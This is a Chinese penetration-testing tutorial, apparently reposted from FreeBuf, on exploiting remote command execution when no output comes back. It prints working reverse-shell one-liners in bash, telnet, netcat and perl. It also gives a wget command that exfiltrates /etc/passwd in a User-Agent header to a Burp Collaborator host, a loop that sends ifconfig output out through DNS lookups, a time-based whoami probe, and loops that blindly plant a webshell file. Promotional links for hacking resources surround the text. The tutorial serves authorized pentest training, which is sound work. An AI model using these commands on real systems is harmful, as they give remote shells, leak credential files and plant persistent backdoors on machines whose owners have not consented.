渗透测试之RCE无回显利用方式

admin 2023年11月24日15:46:48评论20 views字数 4120阅读13分44秒阅读模式

 扫码领资料

获网安教程

免费&进群

渗透测试之RCE无回显利用方式
渗透测试之RCE无回显利用方式

前言

在测试的过程中,经常会遇到RCE漏洞没有回显的情况,这种不能直接在页面上看到命令执行的结果,本篇文章来看看遇到这种情况如何去利用。

由于本人水平有限,文章中可能会出现一些错误,欢迎各位大佬指正,感激不尽。如果有什么好的想法也欢迎交流~~

RCE无回显常见利用方式

  • 反弹shell

  • dnslog外带

  • http请求外带

  • 页面返回时间判断

  • 盲写webshell

渗透测试之RCE无回显利用方式

反弹shell

无回显的命令执行,最常见的方式就是反弹shell。因为它虽然不会将命令执行的结果输出在屏幕上,但实际上这个命令它是执行了的,那我们就将shell反弹到自己服务器上,然后再执行命令肯定就可以看到回显了

关于反弹shell,不同的操作系统反弹方式也是不同的,总体来说linux上比较简单,而win上则稍微麻烦一点。

在linux下可以使用下面的命令进行反弹shell

Bash反弹:
Bash反弹,远程主机监听端口:
nc -lvp 7777
被入侵的机器反弹shell命令如下:
bash -i >& /dev/tcp/IP/7777 0>&1

telnet反弹:
远程主机监听端口:
nc -lvvp 4444
nc -lvvp 5555
被入侵的机器反弹shell命令如下:
telnet IP 4444 | /bin/bash | telnet IP 5555

nc(netcat)反弹:
远程主机监听端口:
nc -lvvp 4444
被入侵的机器反弹shell命令如下:
rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc IP 4444 >/tmp/f

perl反弹:
远程主机监听端口:
nc -lvvp 4444
被入侵的机器反弹shell命令如下:
perl -e 'use Socket;$i="127.0.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

win下的反弹shell可以看这篇文章:https://www.freebuf.com/articles/network/375572.html

http外带信息

可以使用wget或者curl命令去访问一个http服务,把要执行的命令隐藏在header头或者数据包的其它地方,在被访问的服务器中去查看该条日志。

如下:使用wget将命令回显信息通过包头数据字符串User-Agent传输至攻击服务器上,xargs echo代表去掉各个分隔符,换行符等符号输出

wget --header="User-Agent: $(cat /etc/passwd | xargs echo)" http://xxxx.burpcollaborator.net

此时就可以去查看web日志或者dnslog平台上的http请求记录,可以看到请求的数据包,数据包中就包含执行的命令。

渗透测试之RCE无回显利用方式

DNSlog外带

有的服务器是不允许http协议访问外网的,但是一般不会对DNS协议做限制,可以使用DNSlog日志外带数据,缺点就是dnslog一般只能带出一条数据,需要对结果进行编码等操作。

dnslog就是我们发起请求的目标不是IP地址而是域名的话,就一定会发生一次域名解析,那么假如我们有一个可控的二级域名,那么当它向下一层域名发起解析的时候,我们就能拿到它的域名解析请求。这就相当于配合dns请求完成对命令执行的判断。

不同的操作系统对命令的解析方式不同

windows在命令上使用%     如 %variable%.dnslog.com    
linux上使用反引号 如 `variable`.dnslog.com

对命令进行编码

var=11111 && for i in $(ifconfig|base64|awk '{gsub(/.{50}/,"&n")}1'); do var=$((var+1)) && nslookup $var.$i.402c35vpn9hpplp9ilj09pxx9ofe33.burpcollaborator.net; done

如下面的操作

渗透测试之RCE无回显利用方式

渗透测试之RCE无回显利用方式

在win上常用的系统变量如下,可以先外带这些环境变量然后再进一步进行利用

//变量                 类型       描述
//%ALLUSERSPROFILE% 本地 返回“所有用户”配置文件的位置。
//%APPDATA% 本地 返回默认情况下应用程序存储数据的位置。
//%CD% 本地 返回当前目录字符串。
//%CMDCMDLINE% 本地 返回用来启动当前的 Cmd.exe 的准确命令行。
//%CMDEXTVERSION% 系统 返回当前的“命令处理程序扩展”的版本号。
//%COMPUTERNAME% 系统 返回计算机的名称。
//%COMSPEC% 系统 返回命令行解释器可执行程序的准确路径。
//%DATE% 系统 返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。
//%ERRORLEVEL% 系统 返回上一条命令的错误代码。通常用非零值表示错误。
//%HOMEDRIVE% 系统 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%HOMEPATH% 系统 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%HOMESHARE% 系统 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%LOGONSERVER% 本地 返回验证当前登录会话的域控制器的名称。
//%NUMBER_OF_PROCESSORS% 系统 指定安装在计算机上的处理器的数目。
//%OS% 系统 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
//%PATH% 系统 指定可执行文件的搜索路径。
//%PATHEXT% 系统 返回操作系统认为可执行的文件扩展名的列表。
//%PROCESSOR_ARCHITECTURE% 系统 返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。
//%PROCESSOR_IDENTFIER% 系统 返回处理器说明。
//%PROCESSOR_LEVEL% 系统 返回计算机上安装的处理器的型号。
//%PROCESSOR_REVISION% 系统 返回处理器的版本号。
//%PROMPT% 本地 返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
//%RANDOM% 系统 返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。
//%SYSTEMDRIVE% 系统 返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。
//%SYSTEMROOT% 系统 返回 Windows server operating system 根目录的位置。
//%TEMP%和%TMP% 系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。
//%TIME% 系统 返回当前时间。使用与time /t命令相同的格式。由Cmd.exe生成。有关time命令的详细信息,请参阅 Time。
//%USERDOMAIN%


本地 返回包含用户帐户的域的名称。
//%USERNAME% 本地 返回当前登录的用户的名称。
//%USERPROFILE% 本地 返回当前用户的配置文件的位置。
//%WINDIR% 系统 返回操作系统目录的位置。

页面返回时间判断

无回显时还可以通过页面的返回时间来进行判断,一般我们在sql注入中经常见到这种方式,在RCE漏洞中也可以使用。

如下面的命令:

?cmd = if [$(whoami|base32|cut –c 1)=O];then sleep 10;fi

盲写webshell

如果上面的方式都不能用,我们也可以考虑盲写一个webshell。

我们知道webshell如果想要使用,就必须知道webshell的绝对路径,然后实际情况下我们往往不知道路径。那么此时要怎么去操作?

这里一个思路就是首先在系统中找到一个可以访问的静态资源,一般为图片,如flag.png,我们可以根据系统命令去查找这个文件所在的位置,然后将webshell写入到与此静态文件相同的目录中。

linux下盲写的命令

for i in `find /var -name "flag.png"`; do echo "text" >`realpath $i`flag.php; done

win下盲写命令

for /r C: %i in (flag.png) do @echo "test" > %i.php

如下图,可以往该目录下写入一个php文件

渗透测试之RCE无回显利用方式

总结

除了上面的一些常见的方式以外,还有其它的如ICMP协议外带等等,一般最常用的就是dnslog外带以及反弹shell。

参考链接

https://cloud.tencent.com/developer/article/1956480

https://www.freebuf.com/articles/network/321428.html


来源: https://www.freebuf.com/articles/web/382776.html

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

@

学习更多渗透技能!体验靶场实战练习

渗透测试之RCE无回显利用方式

hack视频资料及工具

渗透测试之RCE无回显利用方式

(部分展示)

往期推荐

【精选】SRC快速入门+上分小秘籍+实战指南

爬取免费代理,拥有自己的代理池

漏洞挖掘|密码找回中的套路

渗透测试岗位面试题(重点:渗透思路)

漏洞挖掘 | 通用型漏洞挖掘思路技巧

干货|列了几种均能过安全狗的方法!

一名大学生的黑客成长史到入狱的自述

攻防演练|红队手段之将蓝队逼到关站!

巧用FOFA挖到你的第一个漏洞

看到这里了,点个“赞”、“再看”吧



原文始发于微信公众号(白帽子左一):渗透测试之RCE无回显利用方式

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月24日15:46:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   渗透测试之RCE无回显利用方式https://cn-sec.com/archives/2236064.html

发表评论

匿名网友 填写信息